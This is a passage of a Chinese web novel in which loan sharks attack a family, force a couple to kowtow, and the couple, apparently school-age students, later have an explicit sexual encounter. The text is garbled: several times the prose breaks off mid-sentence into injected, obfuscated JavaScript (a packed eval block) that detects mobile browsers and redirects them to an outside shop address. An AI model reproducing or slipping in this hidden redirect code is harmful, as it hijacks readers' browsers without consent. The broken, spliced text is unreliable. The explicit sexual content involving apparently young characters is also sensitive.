“想!”谢林乔把手上沾的对联红往谢劲舟两边的嘴角旁一抹,看着像小花猫一样的哥哥,大笑道,“哥哥是小花猫。” “谁把你教坏了!”谢劲舟抱着谢林乔上下一通举,小姑娘非但不害怕,还咯咯笑得厉害。 她喜欢哥哥举高高,她想要哥哥举高高很久了。 驰路看着玩闹着的兄妹俩,不由得想起了自己的弟弟驰岸。 他在法国还好吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她不是没有过担心,但跟谢劲舟相比,其他的都是其次。 以后的路还很漫长,但神明却只有一个。 透过玻璃窗,她看着正在贴对联的谢劲舟、谢林乔,他们被和煦的阳光笼着,谢林乔把刷完胶水的对联递给谢劲舟,两人配合得格外默契。 在这复杂多变的人世间,总还有温情一隅。 她庆幸被老妈当初扔到了栾花巷32号,遇到了这些重情重义的人。 他们不是她的家人,却胜似家人。 …… 中午饭格外丰盛,白菜猪肉馅水饺、糖醋排骨、红烧鱼、肉末豆腐、土豆牛肉、紫菜蛋花汤…… 一道道家常菜摆上桌,谢奶奶做得菜香气四溢,摆盘也好看。 驰路站起来,拿出手机,拍了几张照片,还偷偷地把端菜的谢劲舟收入镜头里。 谢劲舟放下水饺盘,想从她手里夺过手机,她却迅速收回手,让他扑了个空。 “拍我了?”谢劲舟拉着她坐到他身旁。 “不行吗?”驰路护住手机,生怕被他抢走删掉照片。 她喜欢偷偷拍他,修摩托车的他,刷题的他,在赛场上驰骋的他,给她做饭的他……他时而安静,时而张狂,每个样子,都是她喜欢的。 她要将他的不同面保存下来,要是以后忘了,就翻出照片看一看。 谢劲舟这人不喜欢她这样,说拍得不好看,有时头发都没弄好,几根雾霾蓝的头发飞上天,有时拍开摩托车的他只是一道虚影,有时还拍他的大头照,清晰地看到他脑袋右侧的那道“X”,还有脖颈上的字母文身。 他常常要删掉,驰路偏偏不删,有天晚上,在静心小屋的卧室,她往床后退一步,他便往前走一步,把她逼得无路可退,仰面倒在床上,双手背在身后,手机紧紧拽在掌心,扬眉朝他说:“舟哥,你死了这条心吧,你是抢不到的。” “是吗?”谢劲舟抬起一条腿,一只膝盖顶开她的双腿,另一只膝盖抵在床上,俯身将双手撑到驰路的身侧,盯着她的眼睛,“老子想要得到的东西,一定会得到!” “有本事你来拿呀。”驰路故意激他。 谢劲舟不慌不忙地将手放到她的后背处,轻松把她托起,去探她的手,她却往左躲,他跟着过去,她没辙,只得把手机扔到一旁。 谢劲舟眉头一拧,抽出放在她身下的手,按住她的肩头,朝她压下去。 她面前的光都消散,阴影落下,随之而来的是他铺天盖地的气息,浓烈、炽热,又滚烫,撵着她的唇扫着、进攻着。 她所有的呼吸都被他掠夺,身体被惹得一片燥热。 谢劲舟轻咬她的舌尖说:“阿驰,不删可以,但以后你拍一次,给老子一次补偿。” 所以,这次的谢劲舟显然也不想放过她:“拍我行是行,但忘了之前老子说什么了?” “你说了什么,我怎么知道。”驰路装傻,拿起筷子想吃饺子,却被谢劲舟抓住手。 谢劲舟点了点自己的脸颊,作出一副“快来吻老子”的大佬模样。 谢林乔、谢奶奶正好都在厨房,驰路拿起手,朝他脸上点了下。 “不行,重来。”谢劲舟却不满足于此。 驰路知道这人固执,除夕夜,便顺了他的意吧,倾身过去,在他脸颊上映下一吻,才看到他心满意足地勾起嘴角。 “哥哥,阿驰姐姐,你们在做什么!”谢林乔走到门边,便看到了这少儿不宜的一幕。 驰路从来不会在谢林乔、谢奶奶面前对谢劲舟做任何亲密的举动,这次被谢林乔发现了,有种难言的尴尬,怎么跟小姑娘解释? 谢劲舟却镇定自若,转头看谢林乔,跟她解释:“你阿驰姐姐看到哥哥脸上有脏东西,帮哥哥吹掉。” 他这谎说得脸不红心不跳,仿佛跟真的似的。 谢林乔信以为真,坐到谢劲舟旁边,看着他俩说:“小冬以后脸上脏了,我也帮他这样吹。” “……” 谢劲舟,你这是残害祖国未来的花朵啊!!! 驰路正在给谢劲舟夹一块他爱吃的排骨时,外面传来了闹哄哄的声响,随之变得凄惨。 谢鸿运回来了! 夹的排骨,重新落回盘中。 啪嗒一声,被外面的凄惨声响掩盖。 * “救命啊,要杀人啦!” “快来救救老子啊!” “谢劲舟,你快出来!!!” …… 喊声一声高过一声,一声比一声凄惨。 82. 脊梁被人压弯 「山石嶙峋,波涛汹涌。 我的信徒被浪潮倾覆。 这都是我的错。 小蝴蝶,对不起! 我是个不称职的救世主。」 ——《神明降临》 驰路立刻站起来,跑出去,院子里没有人,听到沉闷的声音和求饶声。 “你们住手!再不住手,我就报警!”传来谢奶奶铿锵有力的声音。 “报警?”有人嗤笑道,“你报警啊,你也不看看,这孙子欠了我们多少钱。” 驰路疾步往外走,身边蹿出来一道人影,风一般跑出院门。 是谢劲舟! 驰路走到院门处,被眼前的一幕吓到了。 谢鸿运被三四个人围着,像条丧家犬蜷缩在墙角,脸上全是血。 谢奶奶蹲在谢鸿运面前,以一种守护者的姿态护着他,隔绝了人高马大的三四个人。 谢劲舟站在人前,面色凛冽如霜,眉头锁着。 “欠你们多少钱?”谢劲舟慢悠悠地掏出一根烟,慵慵懒懒地抽起来,模样纨绔不羁。 染着红色头发的男人开了口:“二十万。” “没有这么多,不是五万的吗。”谢鸿运抬头看红发男。 红发男从口袋里抽出一张纸,给谢鸿运看:“看好了,这可是你签字、按了手印的。” “借高利贷了?”谢劲舟凌厉眼锋扫向谢鸿运。 谢鸿运嗫嚅道:“是。” “奶奶,我们去吃饭。”谢劲舟想拉谢奶奶起来,谢奶奶却依然蹲着,头也不抬地说:“我不去,你去吧。” 驰路知道,谢奶奶不会让谢鸿运继续被人打,他再怎么浑蛋,依然是她的儿子。 要债的一帮人,手里都拿着铁棍,一看就不好惹。 谢劲舟面色如常地掀了掀眼皮,看向那帮人,吐了一口烟圈:“你们想怎么解决?” “要不今天还钱,要不断一条胳膊。”红发男边颠着手里的铁棍边说。 谢劲舟将抽完的烟扔地上,狠狠撵灭,转头想走,突然被人拽住裤腿,听到谢鸿运用沙哑的声音说:“小谢,救救你老子吧。” * 印象中,这是谢鸿运如此低声下气地跟谢劲舟求救,他一贯仗着是他老爸就对他指手画脚、醉酒打骂。 他是谢鸿运的出气筒,是他情绪发泄的出口。 他整天游手好闲,抽烟酗酒赌博。他不顾家,妥妥的浑蛋。 但他是他老爸。 他要见死不救吗? 谢劲舟没继续往前走,皱眉看了眼被打得凄惨的谢鸿运,又抬头看红发男,一把从他手里夺过那张纸,撕得粉碎,朝天空抛去,纸屑洒了红发男一身。 “艹你大爷的,你不想活了!”红发男边抬手挥掉纸屑边愤然地看着谢劲舟。 谢劲舟冷眼看着红发男,先拽起了谢奶奶,又想去拽谢鸿运时,红发男操起手里的铁棍就要往谢劲舟的手腕上砸。 谢劲舟迅速一闪,避开一劫。 “不给钱,人就别想走!”红发男一棍子砸向谢鸿运,还没落到他身上,便被人抓住了铁棍。 红发男想抽回铁棍,奈何谢劲舟力气大,抽不出来,他左手一挥,招呼他的弟兄们上。 其他三人操起铁棍就往谢劲舟身上砸,谢劲舟被挤在逼仄的墙前,施展不开拳脚,只得抓过一个两个砸过来的铁棍,但再砸过来的第三个没法应对。 就在铁棍要砸到他身上,驰路抬腿朝这人的后背踢去,这人被踢得撞到墙上,铁棍啪地落地。 红发男以为对方只有谢劲舟是不好惹的,没想到还有个胆子大的姑娘,但他不怕,他们有护身的武器,他们赤手空拳,肯定不会是他们的对手。 场面进入混战,谢奶奶、谢鸿运躲到一旁,谢奶奶看着眼前打斗的场景,愁得直皱眉:“作孽啊!” 她刚想看谢鸿运,只见他拖着一只坡腿,开了邻居家的电动车,一溜烟地开走了。 “谢鸿运,你给我回来!”谢奶奶在后面喊着,对方不为所动,人和车都越来越远。 红发男听到了这边的动静,看到谢鸿运跑了,停止打斗,刚跑了两步,见自己追不上人了,也就不跑了,看到谢劲舟接连撂倒自己的两个兄弟,另一个姑娘又撂倒自己的另一个兄弟。 竟然占了下风! 艹! 红发男急中生智,跑到谢奶奶身后,从口袋里快速掏出一把刀,抵在谢奶奶脖子上,大声朝谢劲舟说:“你给我住手,再不住手老子就划了。” 谢劲舟、驰路往这边看,那把刀在阳光上闪着锋利的光,贴着谢奶奶的脖颈,只要轻轻一动,便能划破她的脖颈。 谢劲舟顿时紧蹙眉头,这帮人完全没底线,心狠手辣,要不到钱就拿人命作威胁。 驰路把人压在墙上,手肘抵着他的胸口,扭头看到谢奶奶被人拿刀威胁的场景,心下一滞,胸口的空气仿佛被人抽干。 “你们不是厉害的吗!”红发男转败为胜,一脸得意。 其他三个小弟纷纷挣脱谢劲舟、驰路的钳制,捡起地上的铁棍,两个守在谢劲舟身后,一个守在驰路身后,做好了“你们要是不听话就等着挨打”的架势。 “给老子跪下!”红发男朝谢劲舟、驰路发号施令。 他要看着他们尊严被碾压的样子,刚才不是厉害的吗,现在看你们还厉不厉害。 谢劲舟、驰路不为所动,眼里都迸发出凌厉的锋芒,他们是不会轻易妥协的人,他们都有一身傲骨。 要是傲骨都被碾碎了,脊梁也就被压弯了。 他们不想被压弯脊梁,他们要堂堂正正地立于天地。 谁都不下跪,谁都把脊背挺得直挺挺。 “跪不跪!”红发男见两人都傲眼看他,心里很不爽,拔高声音说,“再不跪,别怪刀子无眼!” 红发男刚想动刀子,“砰”的一声,有什么东西精准地弹到了他的手背上,疼得他下意识地松开刀子。 驰路扭头去看,一个扎着两根羊角辫的小姑娘站在院门前,手里拿着弹弓,冷酷地看着红发男。 红发男并没有因为刀子掉了而掉以轻心,用胳膊勒住谢奶奶的脖颈,气急败坏地看着谢劲舟他们,手上使了力,勒得谢奶奶面色泛红,嘴巴微张。 谢奶奶像一条快没有呼吸的鱼。 谢劲舟握紧拳头,额头上的青筋暴出。 家家户户吃午饭的人,听到了这边的动静,纷纷如出巢之鸟,飞过来看热闹。 有人发现自家的电动车没了,正在那边好一阵嘀咕,骂偷车的人死全家。 没有谁能走近了看,都离得远远的,生怕招惹灾祸。 太阳躲到云层后面,乌云来袭,天幕变得阴沉,宛若一个大黑笼子,罩着由不得自己的谢劲舟、驰路。 驰路看到谢劲舟的身体一点点矮下去,像被人砍断的树。 他的身体矮过自己的,速度缓慢,有人顶着他的膝盖窝,用力便是一脚,踢得他跪倒在地。 他挺直的脊背有些弯曲,似一把弯折的弓。 “臭娘们,快给老子跪下!”红发男咬牙看着驰路。 站在驰路身后的小弟不由分说地踢上她的膝盖窝,她如破损的城墙,迅速倒塌。 滴滴滴,有什么东西落在脸上,凉凉的,湿湿的。 驰路抬头去看,从黑沉沉的天空中,斜斜地坠下一道道雨帘,雨势越来越大,疯了一样砸在她的脸上、身上。 “你们俩,给老子磕头!”红发男勒着谢奶奶的胳膊没松开,继续对谢劲舟、驰路下命令,嘴角露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560799|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邪恶、得逞的笑。 谢劲舟的眼睛似一把锋利的刀刃,直勾勾地望着红发男。 他身上透出那种败局已定,但骨气仍在的气质。 他不向任何人服输,也不向任何人低头,但他看不得奶奶被人胁迫,看不得她受一分一毫的委屈和痛苦。 他的声音低下去,几乎用一种乞求的口吻跟红发男说:“她可不可以不磕头?她的那份,我来!” 驰路的心往下沉,往下落,像渐渐沉入深海的石头,漂泊无依。 驰路抬起胳膊,握住谢劲舟的手,跟他说:“舟哥,别这样。” “你们能不能放过谢奶奶,钱,我出!”驰路的眼睫被雨水打湿,眼前的场景变得朦朦胧胧,但她清晰地看到谢奶奶被肋得通红的脸,看到她脸上露出痛苦的表情。 她想起了自己的奶奶,那个在生命后期痛苦的奶奶。 如果可以,她希望这世上没有这么多纷争、没有这么多苦痛,她希望自己的亲人可以平安、健康。 她希望,谢奶奶可以远离这帮浑蛋的桎梏。 “要出可以,但只能出五万。”谢劲舟补充道。 要高利贷的人,见惯了这样的人,不想还利息,只想还本金,天下哪有这等好事! 红发男听得大笑起来,笑声在这样的沉闷氛围里,显得那般诡异。 “钱嘛,是必须要还的,头也是要磕的。”红发男看着他们,面色狰狞,“快给老子磕,谁都不能少!” 谁敢欺负他、欺负他兄弟,他一个都不放过! “有点欺人太甚了。” “是啊,怎么惹上这帮人啊。” “估计是谢鸿运惹出来的事。” “这家人也是没有享福的命。” “可不是吗,就连这个小姑娘都跟着遭罪!” …… 议论声四起,谢劲舟听得心烦意乱,他看着面色镇定的驰路、看着满脸通红的奶奶、转头看着面露忧色的谢林乔。 他用舌尖顶了下腮帮,眸子冷沉如冰,弯腰一下一下地磕头。 驰路看着他脊梁被人压弯的样子,心里很不是滋味。 她正看着,有人按着她的脑袋和背,被迫地磕头,撞到地上的那一下,疼得厉害,脑袋都嗡嗡作响。 磕头声一下一下地响起,像在地上打鼓,密集而有力。 笑声也随之响起,两种声音交织在一起,形成巨大反差。 没有谁上前帮忙,大家都是看客,看别人的人生,看别人的笑话,好像只有这样,生活才多了一丝色彩。 驰路越磕心里越难受,不是因为疼,而是因为无望。 一种走在黑暗隧道里、不知什么时候是头的无望,第一次升起。 谢鸿运一次次问她要钱,已经让她格外反感和排斥,现在竟然被卷入到这样的事件里,何时才是头? 谢劲舟、谢奶奶、谢林乔,还有她,以后的每一天,都可能成为被人威胁的对象,都会处于危险之中。 她的额头被磕出血,血混着雨水,在地上流淌。 谢劲舟磕得轻,身后的人就拽起他雾霾蓝的头发往地上砸,像在砸面团。 他满腔怒气,却无处发泄,只得任人摆布。 他用余光看到了不停在磕头的驰路,心像被人高高揪起,疼得厉害。 是谁说他是她的救世主的? 为什么她的救世主,非但没有成为她的救世主,还把她拽入了深渊。 难言的痛苦,将他层层裹挟。 他第一次体会到,他没法成为他的救世主,还是她人生的拖累。 他看着她额头上的血越来越多,看着她眼帘上挂的水珠,像一串串晶莹的眼泪。 他多想把这帮人给揍趴下,多想再当一回她的救世主。 83. 蝴蝶要往哪里飞? 「Z,你的世界是一片枯萎的海。 我想一遍遍地往里面浇灌河流。 但我知道,这样的日子不多了。 未来要走怎样的路,渐渐清晰。 都说人自私,好像是这样,我也不例外。」 ——《小蝴蝶的自由》 “妈/的,你们这是在干什么!”一道雷厉风行的声音穿透雨水,抵达每个人的耳边。 驰路停止磕头,朝声音的来源处望去,来人有一头张扬的白色头发,原先的刺猬头修理成没那么夸张的刺猬头,是罗子昂,他打着一把伞,手里提着一个红色的大塑料袋。 “可以放过我们了吗?”谢劲舟看向红发男,眼睛里难得地带着一丝乞求。 “兄弟们,你们觉得可以吗?” “这怎么行啊。”一个个颠起手头的铁棍,刚想朝谢劲舟的背上砸去,罗子昂连忙说:“你们给老子住手!” 这人手上一停,嘲讽般地朝罗子昂笑道:“你是谁啊?滚一边去!” 罗子昂眼睛一扫,发现形势不对,谢劲舟、驰路之所以任由人摆布,是谢奶奶被人威胁着。 他能做什么? “罗刺猬,你别过来。”谢劲舟朝罗子昂说。 说完,后背被重物狠狠砸去,脊背瞬间弯下,第二下还要落下时,谢劲舟只听到了沉闷的声音,背上却丝毫无恙。 有人趴到了他的肩上,他闻到了属于谢林乔的气息,听到了小姑娘隐忍的咬牙的声音。 别说铁棍砸在谢林乔身上,就是砸在他身上都很疼。 这小姑娘是疯了吗! 做什么不好,为什么要过来帮他挡这一下? 谢劲舟又气又急,转头看到皱着眉的小姑娘,听到她说:“哥哥,我来保护你。” …… 雨势越来越大,啪啪地砸在地上,溅起豆大的水花,散发出泥土的腥味。 看客越来越多,有的打着伞,有的穿着雨衣,有邻居、有路人,看着这家人被四个人围攻。 罗子昂握紧拳头,恨不得把这群人揍得爹妈都不认识。 谢劲舟本想骂这个为自己挡棍子的小姑娘,但她的那句话,击穿他的心房,什么狠话都说不出口了。 他立刻把谢林乔护在身下,压低声音说:“哥哥不需要你保护,你保护好自己就行。” 驰路见这帮人没动静,迅速捡起地上的铁棍,朝自己身后的男人砸去,又快速勒住他的脖子,来了一招以其人之道还治其人之身。 “快把谢奶奶松开,我还可以考虑考虑让他活到下一秒。”驰路勒紧男人的脖子,眼神狠厉地看着红发男。 红发男一点都不慌,不过是一个小弟而已,他才不在意。 “行啊,你有本事就弄死他。”红发男不介意道。 “大……哥……”被勒的男人挤出两个字。 场面陷入混乱僵持之际,不远处传来警笛声。 红发男这才放开谢奶奶,驰路也松开了男人的脖颈。 罗子昂看着及时赶来的警车,这才松了口气,电话没白打。 一帮人被带到了警局做了笔录,打斗事件,双方私下进行和解。 至于谢鸿运欠下的五万元债款,因红发男方的高利息不受法律保护,最终由谢劲舟出了五万解决。 回去的路上,雨还在下,天空灰蒙蒙的。 谢劲舟、驰路坐在公交车上,驰路望着窗外被雨水覆盖的街景,心里一阵怅惘、迷茫。 想要考哪个专业,她有了清晰的方向和目标,她要考电影学院,学表演。以后想走什么样的路,也渐渐清晰,做一个演技好的演员、有表现张力的模特。 她要充分发挥自身优势,走一条自己想走的路。 前途未知,但好像一直走,就能走出一条坦途。 这条坦途的前提,是不是要尽早离开芳町镇? 当冒出这个念头时,驰路吓了一跳。 她望着自己在起了雾的玻璃窗上写下的“XJZ”,“X”最下面水珠蜿蜒,像两行止不住的眼泪。 她的手被人握住,紧紧的,每根手指都贴着她的指缝,温柔的、干燥的一双手。 驰路垂眸望去,是那般迷人的好看的手,修长、有骨感,但就是这双好看的手上沾染了淤泥、血迹。 人生不会一直繁花锦簇,时而也会陷入泥潭。 他是赛场上无可匹敌的“舟爷”,却也是被谢鸿运牵制的“小谢”。 驰路握紧谢劲舟的手,靠到他的肩头,启唇,用他听不到的声音说:“舟哥,蝴蝶要往哪里飞?” * 他们没先回家,而是先去医院拿了药、处理了伤口,好在都是皮外伤,两人的额头上都贴着纱布。 驰路笑着看谢劲舟:“我们终于有了第一个情侣物品了。” 谢劲舟没回应,只是牵起她的手,去找等他们的谢奶奶、谢林乔。 谢劲舟跟谢奶奶商量了下,为了避免那帮人再过来闹事,让谢奶奶、谢林乔先去谢奶奶的妹妹家躲一躲。 谢奶奶现在想起那帮人,还一阵后怕,便同意了。 谢劲舟打车把谢奶奶送回谢奶奶妹妹家后,便跟驰路去了栾花巷32号,院墙外有中午打斗时的痕迹,一片残破。 驰路刚走进院子,手机里咚咚咚地连连跳出好几条信息。 她划开手机,有许婉发来的,也有安然发来的,全是铺天盖地关于她的新闻。 【芳町头牌模特下跪惨照】 【芳町头牌模特欠下巨债,被高利贷追杀】 【芳町头牌模特出道即巅峰,红像一场梦,凉是跑不了,必然走下风】 …… 点开这些新闻,评论区全是幸灾乐祸,一水儿地说她德不配位,说她活该落到如今的下场。 还有人把上次议论她被知名摩托手车包养的事也拿出来鞭尸。 她成了人人唾骂的对象。 即使那些不是真相,又有什么关系? 躲在电脑后面的那双手,敲下的不是字,而是他无处发泄的情绪。 驰路的眉心皱起,心往下坠。 她刚想关闭屏幕,不想看这些,蓝姐的电话来了。 驰路看着不停跳动的“蓝姐”两个字,一阵心烦意乱,很想挂断,很想关机。 “接吧。”谢劲舟说。 驰路走到院子里的那棵枣树下,接起电话。 刚接,就听到蓝姐狮子吼般的声音:“驰路,你又给我惹什么祸了!!!” 蓝姐的声音之大,几乎要震穿驰路的耳膜。 驰路立刻将手机拿开,拿得远远的。 抬眸间,看到谢劲舟倚靠着摩托车,正在抽烟,烟雾升腾,笼了他一身。 他看起来像荒原里的一缕孤烟,漠然,又孤寂。 他似乎感受到她的眼神,朝她望过来。 眼神相碰时,这缕孤烟仿佛才鲜活起来,深邃的眼眸里透出涨潮时的波澜。 驰路轻轻地应着蓝姐的话:“怎么了,蓝姐?” 蓝姐对她一通输出:“还问我怎么了,你要问问你怎么了!网上的那些传闻怎么回事,你怎么会惹上放高利贷的那帮人?” 驰路边跟蓝姐解释真相,边往谢劲舟那儿走,走到他身旁,靠到他肩头,从他手里拿过烟,狠狠地抽了几口,才吐出烟圈。 驰路听到蓝姐在电话那头叹了好几口气,无奈地说:“阿驰啊,不是蓝姐说,你这体质太招黑了。” 驰路嗤笑一声,蓝姐何尝说的不是真相,她的人生从来不稳定,稳定的从来都是招黑体质,从小学到现在。 “就这样吧,网上的,我会尽力去处理,但太多了,可能处理不干净。” 蓝姐早已没了最初的气焰,声音里透出些许无奈,说完挂了电话。 驰路觉得自己像飘在云端,失了力气地将脑袋从谢劲舟的肩头移到他的胸膛。 指间的烟还在烧着,猩红色的火一点点地往上蔓延,一直烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的皮肤白又细嫩,经不起他用蛮力吸,轻轻吸一下,便能出浅浅的吻痕。 脖颈上的吻痕越来越多,谢劲舟低头望着,心间的某种情绪愈发浓烈,似涨起的潮水。 他脱掉她的外套、毛衣,露出里面贴身的秋衣,紧身的,勾勒出少女的玲珑曲线。 驰路的气息不稳,微微喘着。 没开灯,在黑暗的空间里,隐约能看到她的眸子里闪着晶亮的光。 “阿驰,可以吗?”谢劲舟的手上下揉着她纤薄的背,破碎的蝴蝶文身,在他的大掌下变成另一番模样。 驰路仰头,直视谢劲舟,她看到了他眼里的挣扎、迷离、破碎,还有一丝盖不住的欲。 心间泛起一阵酸,像在下一阵细细密密的雨,潮湿、闷热。 小小的空间里,涌动着难言的情愫,两人贴得那么近,却有什么东西,在暗地里一步步将他们拽远。 半晌,驰路轻轻地点了点头。 谢劲舟开始了一场暗夜里的疯狂掠夺,一把脱掉她的秋衣,想解开她的内衣扣子,却无从下手,怎么解也解不开。 他衔着她的舌,没有章法地激烈地进攻她的领地,手上还在跟内衣扣子较着劲。 “我……来……吧。”驰路好不容易挤出这几个字。 她把手伸到背后,轻松解开扣子。 啪,内衣落地,少女白皙的身体展露在暗色里。 咚咚咚,寂静的山中小屋里,传来彼此剧烈的心跳声。 驰路睫毛轻颤,前所未有的感到羞涩,埋着头,双手护在胸前。 谢劲舟用食指勾起她的下巴,另一只手搭在她胸前的手上,俯身盯着她的眼睛,沉磁的声音里混着温柔:“阿驰,我会轻点的。” 84. 为小蝴蝶文身 「小蝴蝶,我们走入迷途。 我愿意放你走。 你不该被摧毁。 你的生命应当鼎沸。 我爱你的破碎,也爱你的喜悲。 玫瑰就该千娇百媚。」 ——《神明降临》 黑暗放大了所有的感官,驰路感到谢劲舟手指抚过的每个地方,仿佛烈火烧过,沿着她一寸一寸的肌肤肆意燎原。 从门到沙发,谢劲舟的吻落在她唇齿间的吻没停,狂风骤雨般地侵袭着她。 他一把将她扔到沙发上,身体压着她。 驰路几乎能感到自己的脸颊红得发烫,每个细胞都在沸腾,他的手从她的胸前抚过,落在她的起伏处,惹得她身体一阵酥麻。 谢劲舟利落地脱掉所有上衣,驰路看到了他好看的锁骨,视线往下,借着窗外一点点微光,看到他锁骨上的文身,新的,泛着红,刚文的文身。 驰路的思绪瞬间被拉回来,抬手抚上他锁骨处的字母文身,还有一只黑色的燕尾蝶:“舟哥,什么时候文的?” “昨天。”谢劲舟的右手摩挲着她右眼尾的那颗胭脂痣。 “m……y……b”驰路辨认出字母,一字一字地念出来,“什么意思?” 拼不出一个完整的英文单词,难道是哪国的语言?但也不对,分明文的是英文,只是文得潇洒,像……她写的字。 “Mybutterfly,mybaby.” 他要把她的蝴蝶刻在离心脏最近的地方。 我的心,永远为你跳动! 谢劲舟看着驰路上挑的丹凤眼,她的这双眼看人时,风情万种,妩媚横生,直戳他的心脏。 驰路之前了解过,文在锁骨上有多疼。 她一把抱住谢劲舟,心头涌起千万种情愫,酸涩的、甜蜜的、潮热的……振动她的心弦。 彼此的脖颈交错、身体相贴,心脏的位置也紧紧相依,驰路第一次体会到什么叫交颈颉颃。 她像一片蜷曲的叶片,在他的怀里渐渐舒展开,绽放每一根经络。 驰路俯身,吻他的唇、凸起的喉结,还有锁骨处的文身。 她的吻,跟谢劲舟激烈的吻完全不同,她吻得那么温柔、那么小心翼翼,像对待价值连城的珍宝,也像最后的告别。 吻着吻着,谢劲舟感到锁骨处落下温热,一滴一滴地落下,像在下一场雨。 谢劲舟扳过驰路的脑袋,捧着她的脸,看到了她脸上挂着的两行眼泪。 他什么也没问,什么也没说,低头一点一点地吻她的眼泪,最后吻到她右眼尾的胭脂痣上。 她听到谢劲舟说:“驰宝,我没信仰过什么,但从此以后,你就是我的信仰!” …… 月落星沉,枯木逢春,静心小屋的沙发上,两个年轻的身体交换着彼此的体温,热烈似火,燃烧对方的每个角落。 热意灼灼,似要从今晚烧到永恒。 他们是钟楼上敲响的钟声,在彼此的身体上,一遍遍回响。 他们是人间流放的两只猛兽,挣脱牢笼,汲取属于对方的气息。 野火在灼烧,山海在呼啸,旖旎的春光,在小小的沙发一隅尽泄。 他把她弄疼,她皱紧眉,他就咬着她的耳廓说:“驰宝,疼了可以咬我。” 驰路没那么疯,她怎么可能舍得咬她的神明。 她只是用拽着他肩膀的手,在他的肩膀处,留下一道道深浅不一的抓痕,像留下的猫爪印。 驰路雪白的肌肤泛着一层红,像刚绽放的野玫瑰。 她的胸脯随着他的动作剧烈起伏着,浑身血液沸腾。 谢劲舟额头上的汗珠落在她的脸上、唇上,咸咸的,涩涩的。 他的动作从最初的轻,到越来越重,仿佛要释放内心压抑的所有情绪。 他后背的伤随着动作被拉扯,疼,但他毫不在意。 那层藏在心间的喜欢和情/欲喷薄而出,驰路被迫地承受着,这时而坠地、时而飞天的感觉。 她是蝴蝶,坠入人间,风尘扑面,不如就此,大梦不醒。 外面似有烟火炸响,她在她的神明身上似乎看到了一束光,她要把这束光好好收藏。 在这场漫长颤栗的最后,驰路听到她的神明在她耳畔说:“驰宝,对不起。” 升起的蝴蝶,瞬间坠地,心弦晃荡。 倒希望酩汀大醉,只把如胶似漆收留,其他的统统绝口不提。 她知道,他说的这句“对不起”意味着什么,意味着白天那帮人对她的所做的一切,意味着他们未知的将来。 他晃动了她的整个夏天,她多想跟他一起走入下一个夏天。 冬日未过,夏日未至,她就开始觉得,有什么东西,在马不停蹄地下坠。 * 翌日清晨,驰路被一束温暖的光叫醒,睁开朦朦胧胧的睡眼,探手要去找跟自己同床共枕的谢劲舟时,却发现是空的。 睡意全无,她立刻警觉地坐了起来,但刚起了一半,就靠在了床头,身体酸疼得厉害,昨晚谢劲舟把她折腾得够呛,沙发、卫生间、卧室,每个地方都留下他们的痕迹,就连后半夜也不放过她。 他们像偷尝了禁果的亚当、夏娃,一次次地品尝禁果的滋味。 驰路拖着酸疼的身体下床,披了件外套,刚下床,一抬头,看到墙上多了一个镜子,什么时候挂上去的? 她走过去,是一个复古雕花镜子,左上角、右下角分别有一朵雕刻精良的玫瑰,左上角的玫瑰上方还有一只蹁跹的蝴蝶。 驰路之前跟谢劲舟说过,这儿都没个镜子,她要去买个落地镜,放在客厅。 结果,他倒好,直接给安排了一个好看的雕花镜子,看起来像是手工定制的。 驰路抬手抚上上面的蝴蝶,蝴蝶的表面被打磨得光滑,抚摸时像抚过清凉的流水。 “喜欢吗?”一道慵懒磁性的声音响起。 驰路被突如其来的声音惊了下,去看来人,谢劲舟正懒懒散散地倚靠在门边,手里正端着一个瓷杯,冒着升腾的热气。 驰路放下手:“你做的?” 谢劲舟走到她身后,贴着她,把下巴搁在她的脑袋上:“要不然呢。” 这个“玫瑰蝴蝶”镜子,谢劲舟忙里抽闲,花了两个月时间做了出来。他偷偷地在房间里做,想作为新年礼物送给驰路,给她惊喜。 “很好看。” “必须好看。”谢劲舟蹭着她的脖颈,“专门为你打造的‘玫瑰蝴蝶’镜子,送你的新年礼物。阿驰,新年快乐。” 驰路的鼻端溢开他唇边的牛奶香气,她看着镜子里的谢劲舟,像个撒娇的小孩埋在她的脖颈间。 她抬手揉了揉他的脑袋,像撸狗似的:“舟哥,新年快乐。” 话音刚落,她的脖颈间传来湿湿热热的吻。 谢劲舟把牛奶杯放在桌上,抬手掀她的衣服。 驰路瞬间明白他要什么,抓住他的手:“昨晚还没亲够?” “永远不够。”谢劲舟搂住她纤细的腰,掐了下。 谢劲舟的侵略地,从她的脖颈,到她的脸颊,再到她的嘴唇,吻得她几乎无法呼吸。 她的唇齿间溢开牛奶的清甜,他狠狠掠夺,甘之如饴。 …… 驰路放下心中的担忧,尽情地陪着谢劲舟,白天踏遍静心山的每个角落,俯瞰很远处的小镇,一栋栋小房子,像一个个小格子,散落远方。 晚上,天气降温,驰路偏要出去放烟花,她觉得这样才有过年的氛围。 谢劲舟为此专门去买了很多仙女棒,他说:“以后,老子为你放烟花。” 参加比赛并不是每次都能获得奖金,有的比赛赚个名气,有的比赛才有奖金。 这次谢鸿运欠债的钱,他还后,还有一些,但对他来说,不多。 他有个习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 